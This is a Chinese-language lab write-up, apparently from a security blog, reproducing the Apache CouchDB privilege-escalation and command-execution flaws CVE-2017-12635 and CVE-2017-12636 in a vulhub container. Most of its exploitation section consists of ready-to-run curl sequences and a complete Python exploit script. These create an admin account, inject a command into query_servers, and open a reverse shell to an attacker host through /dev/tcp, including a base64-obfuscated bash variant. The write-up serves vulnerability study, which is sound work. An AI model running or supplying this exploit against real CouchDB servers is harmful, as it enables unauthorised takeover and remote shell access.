Couchdb 任意命令执行漏洞复现 – 作者:m0cun10

Couchdb 任意命令执行漏洞(CVE-2017-12636)

Port : 5984

Apache CouchDB 是一个开源数据库,专注于易用性和成为 “完全拥抱 web 的数据库”。CouchDB 会默认会在 5984 端口开放 Restful 的 API 接口,用于数据库的管理功能。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。

在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露, CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。

影响版本:小于 1.7.0 以及 小于 2.1.1

参考链接:

CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。可以被利用于,非管理员用户赋予自身管理员身份权限。

CVE-2017-12636 时由于数据库自身设计原因,管理员身份可以通过 HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。结合 CVE-2017-12635 可实现远程代码执行。

测试环境

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub

Couchdb 2.x 和 1.x 的 API 接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是 1.6.0 版本,如果你想测试 2.1.0 版本,可以启动 CVE-2017-12635附带的环境。

执行如下命令启动 Couchdb 1.6.0 环境:

docker-compose up -d

启动完成后,访问 http://your-ip:5984/即可看到 Couchdb 的欢迎页面。

1608200248_5fdb303828f7026a6707a.png!small?1608200248201

漏洞复现

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用 CVE-2017-12635先增加一个管理员用户。

curl -X PUT 'http://your-ip:5984/_users/org.couchdb.user:vulhub' -d '{"type":"user","name":"vulhub","roles":["_admin"],"roles":[],"password":"vulhub"}' -H 'Content-Type:application/json'

1608200309_5fdb307534210075513eb.png!small?1608200309483

1.6.0 下的说明

依次执行如下请求即可触发任意命令执行:

新增 query_server 配置,写入要执行的命令;

新建一个临时库和临时表,插入一条记录;

调用 query_server 处理数据

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

1608200799_5fdb325f1c791183dcfe2.png!small?1608200799980

其中,vulhub:vulhub为管理员账号密码。

第一个请求是添加一个名字为 cmdquery_servers,其值为 "id >/tmp/success",这就是我们后面待执行的命令。

第二、三个请求是添加一个 Database 和 Document,这里添加了后面才能查询。770895a97726d5ca6d70a22173005c7b应该表示 vul

1608200845_5fdb328dbe8a96358fefb.png!small?1608200845996

第四个请求就是在这个 Database 里进行查询,我们将 language 设置为 cmd,这里就会用到第一步里添加的名为 cmdquery_servers,最后触发命令执行。

引申一

既然可以命令执行,也就是说可以反弹 shell,如果是 ctf 题,也可以将 flag 带出来。

#直接反弹 shell 是失败的
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"sh -i >& /dev/tcp/your_VPS-ip/443 0>&1"'

#需要通过 base64 反弹 shell
curl 调用字符串需要用 '或";json 需要 ",bash -c 的字符串需要 '或",这三层的逻辑嵌套有些乱,因此可以将反弹 shell 的语句写在文本里面,通过 curl 调用本地文本。

/home/mobaxterm $ cat shell_re.txt
"bash -c '{echo,c2ggLWkgPiYgL2Rld************i4xODAvODg0MyAwPiYx}|{base64,-d}|{bash,-i}'"                                ✔

/home/mobaxterm $ curl -X PUT 'http://vulhub:[email protected]:5985/_config/query_servers/cmd' -d '@shell_re.txt'
"bash -c '{echo,c2ggLWkgPiYgL2Rld***********i4xODAvODg0MyAwPiYx}|{base64,-d}|{bash,-i}'"                                ✔

/home/mobaxterm $ curl -X POST 'http://vulhub:[email protected]:5985/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'    ✔
……

引申二

同样你也可以不用登录获取 Cookie,直接在 curl 请求中带入账号密码也是可以的,类似于这样,执行效果是一样的,这种方法可能更方便点吧。例如:

curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' -d '"python /tmp/back.py"'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

curl -X PUT 'http://192.168.199.181:5984/teeest'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

curl -X PUT 'http://192.168.199.181:5984/teeest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

curl -X POST 'http://192.168.199.181:5984/teeest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

2.1.0 下的说明

2.1.0中修改了上面用到的两个API,这里需要详细说明一下。

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问 /_membership即可:

curl http://vulhub:vulhub@your-ip:5984/_membership

1608200933_5fdb32e5ecafc870d740b.png!small?1608200933924

可见,我们这里只有一个node,名字是 nonode@nohost

然后,我们修改 nonode@nohost的配置:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

1608200958_5fdb32fecd2fb3b74f0c4.png!small?1608200958963

然后,与 1.6.0 的利用方式相同,我们先增加一个Database和一个Document:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

1608200998_5fdb3326b223f07f446ae.png!small?1608200999027

Couchdb 2.x 删除了_temp_view,所以我们为了触发 query_servers中定义的命令,需要添加一个_view

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

1608201027_5fdb334351fc229261f8a.png!small?1608201029273

增加_view的同时即触发了 query_servers中的命令。

利用脚本

附一个简单的脚本 exp.py,修改其中的 target 和 command 为你的测试机器,然后修改 version 为对应的 Couchdb 版本( 1 或 2 ),成功反弹shell:

#!/usr/bin/env python3
 import requests
 import json
 import base64
 from requests.auth import HTTPBasicAuth
 ​
 target = 'http://your-ip:5984'
 command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
 version = 1
 ​
 session = requests.session()
 session.headers = {
   'Content-Type': 'application/json'
 }
 # session.proxies = {
 #   'http': 'http://127.0.0.1:8085'
 # }
 session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
 }''')
 ​
 session.auth = HTTPBasicAuth('wooyun', 'wooyun')
 ​
 command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
 if version == 1:
   session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
 else:
   host = session.get(target + '/_membership').json()['all_nodes'][0]
   session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
 ​
 session.put(target + '/wooyun')
 session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
 ​
 if version == 1:
   session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
 else:
   session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

1608201563_5fdb355bccc6386c2e23a.png!small?1608201564060

1608201581_5fdb356dd346ea28dc4a4.png!small?1608201581963

来源:freebuf.com 2020-12-18 11:21:05 by: m0cun10

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论